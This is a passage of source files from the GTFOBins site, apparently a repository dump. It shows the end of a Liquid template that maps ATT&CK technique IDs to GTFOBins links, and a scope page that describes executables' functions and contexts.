fields -%} {%- endfor -%} { "techniqueID": {{ technique | jsonify }}, "links": [ {%- assign gtfobins = gtfobins | uniq -%} {%- for gtfobin in gtfobins -%} {%- assign fields = gtfobin | split: ',' -%} { "label": {{ fields[1] | jsonify }}, "url": {{ fields[3] | append: '#' | append: fields[2] | jsonify }} } {%- unless forloop.last -%},{%- endunless -%} {%- endfor -%} ] } {%- unless forloop.last -%},{%- endunless -%} {%- endfor -%} ] } ================================================ FILE: scope.md ================================================ --- layout: page title: Scope description: Functions and contexts of the GTFOBins executables. --- An executable may support one or more [function](#functions) by providing a number of *examples* for their use, each example may support a number of [contexts](#contexts) that determine the ability of that example to work in that particular condition. ## Functions
{%- include description_table.html label='Function' objects=site.data.functions -%}
## Contexts
{%- include description_table.html label='Context' objects=site.data.contexts -%}